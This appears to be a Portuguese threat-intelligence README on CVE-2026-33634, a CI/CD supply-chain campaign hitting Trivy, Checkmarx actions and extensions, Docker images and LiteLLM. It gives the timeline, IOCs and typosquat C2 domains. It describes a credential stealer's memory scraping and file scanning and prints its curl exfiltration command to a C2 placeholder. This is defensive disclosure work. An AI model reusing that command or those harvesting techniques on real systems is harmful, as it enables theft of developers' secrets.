
CVE-2026-33634 (CVSS 9.4) — O ataque à cadeia de suprimentos de CI/CD mais impactante de 2026 até agora.
CVE-2026-33634 (CVSS 9.4) — O ataque à cadeia de suprimentos de CI/CD mais impactante de 2026 até agora.
Entre 19 e 25 de março de 2026, o ator de ameaças TeamPCP (também rastreado como DeadCatx3, PCPcat, ShellForce, CanisterWorm) executou um comprometimento em cascata da cadeia de suprimentos em cinco ecossistemas: GitHub Actions, Docker Hub, OpenVSX, npm e PyPI. Partindo de um único PAT do GitHub com rotação incompleta, a campanha se espalhou por dois grandes fornecedores de segurança de código aberto (Aqua Security e Checkmarx), quatro repositórios de GitHub Actions, duas extensões do VS Code, registros de contêineres e mais de 66 pacotes npm.
Este repositório fornece uma análise técnica completa, listas de IOC curadas (testadas contra falsos positivos) e consultas de detecção prontas para implantação no Microsoft Defender XDR.
| Data (UTC) | Evento |
|---|---|
| 20 fev 2026 | Conta hackerbot-claw criada; inicia varredura em repositórios em busca de workflows pull_request_target exploráveis |
| 28 fev 2026 | Primeiro comprometimento do Trivy via solicitação PWN; credenciais exfiltradas |
| 1 mar 2026 | Aqua Security tenta contenção — rotação de credenciais incompleta |
| 19 mar, 17:43 | Ataque principal: TeamPCP faz force-push de 75/76 tags em aquasecurity/trivy-action e de todas as 7 tags em setup-trivy por meio da conta de serviço comprometida aqua-bot |
| 19 mar, 18:22 | Trivy v0.69.4 com backdoor publicado no GitHub Releases, Docker Hub, GHCR, ECR |
| 20 mar, 05:40 | Janela de comprometimento do Trivy-action encerrada (~12 horas) |
| 20 mar, 20:45 | CanisterWorm detectado se espalhando pelo npm — mais de 47 pacotes comprometidos |
| 22 mar, 20:31 | TeamPCP desfigura todos os 44 repositórios na org aquasec-com do GitHub em uma rajada automatizada de 2 minutos |
| 22 mar | Imagens 0.69.5 e 0.69.6 enviadas ao Docker Hub com o mesmo payload do stealer |
| 23 mar, 02:53 | Começa a onda Checkmarx: ast-results v2.53.0 e cx-dev-assist v1.7.0 maliciosos publicados no OpenVSX por meio da conta ast-phoenix |
| 23 mar, 12:58 | Todas as 35 tags de Checkmarx/kics-github-action com force-push por meio da conta comprometida cx-plugins-releases |
| 23 mar, 15:41 | Checkmarx informa que o problema no OpenVSX foi resolvido |
| 23 mar, 16:50 | GitHub Action do KICS removida após relato de usuário |
| 23 mar, 22:25 | Sysdig informa que Checkmarx/ast-github-action v2.3.28 também foi comprometido |
| 24 mar, 08:30 | Onda LiteLLM: litellm v1.82.7 e v1.82.8 trojanizados publicados no PyPI usando credenciais roubadas |
| 24 mar, 11:25 | PyPI coloca em quarentena as versões maliciosas do LiteLLM |
Causa raiz: rotação incompleta de credenciais após a violação de 28 de fevereiro. O PAT da conta de serviço aqua-bot não foi revogado ou o atacante observou o novo token durante a rotação.
O TeamPCP usou esse acesso retido para fazer force-push de tags de versão apontando para commits impostores maliciosos. Cada commit forjado clonava os metadados do original (autor, timestamp, mensagem) enquanto substituía o script de ponto de entrada pelo payload do stealer. A página de release do GitHub não mostrava nenhuma mudança visível — até o selo "Immutable" era exibido normalmente.
O stealer — um entrypoint.sh de 204 linhas autoidentificado como "TeamPCP Cloud stealer" — executa um ataque em três estágios:
Estágio 1: Raspagem de Memória
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Estágio 2: Varredura de Credenciais no Sistema de Arquivos
Examina mais de 50 caminhos sensíveis, incluindo:
~/.ssh/*)~/.npmrc).envEstágio 3: Exfiltração Criptografada
tpcp.tar.gzcurl POST para domínios typosquat específicos do fornecedortpcp-docs ou docs-tpcp na conta GitHub da vítima usando o GITHUB_TOKEN roubadoEm sistemas Linux fora de CI, o malware:
~/.config/sysmon/sysmon.py)As credenciais roubadas na onda Trivy viabilizaram o comprometimento do ecossistema da Checkmarx. Cada nova onda usou um domínio typosquat diferente de C2 para evadir as blocklists da onda anterior:
| Onda | Domínio C2 | Typosquat de |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Repositório | Tags Comprometidas | Janela de Exposição (UTC) | Ponto de Entrada |
|---|---|---|---|
aquasecurity/trivy-action | 75 de 76 (segura: 0.35.0) | 19 mar 17:43 – 20 mar 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | Todas as 7 tags | 19 mar 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | Todas as 35 tags | 23 mar 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (provavelmente todas) | 23 mar ~22:25+ | setup.sh |
| Extensão | Versão Maliciosa | Versão Segura |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Ambas as extensões foram publicadas com 12 segundos de diferença às 12:53 UTC de 23 de março por meio da conta ast-phoenix. Na ativação, environmentAuthChecker.js verifica credenciais de provedores de nuvem e então baixa um stealer de segundo estágio de checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Imagem | Tags Maliciosas |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Pacote | Versões | Arquivo com Backdoor |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Payload base64 triplamente aninhado com kit de movimentação lateral para K8s. Persistência via sysmon.service consultando checkmarx.zone/raw.
O padrão de exfiltração é idêntico em todas as ondas:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz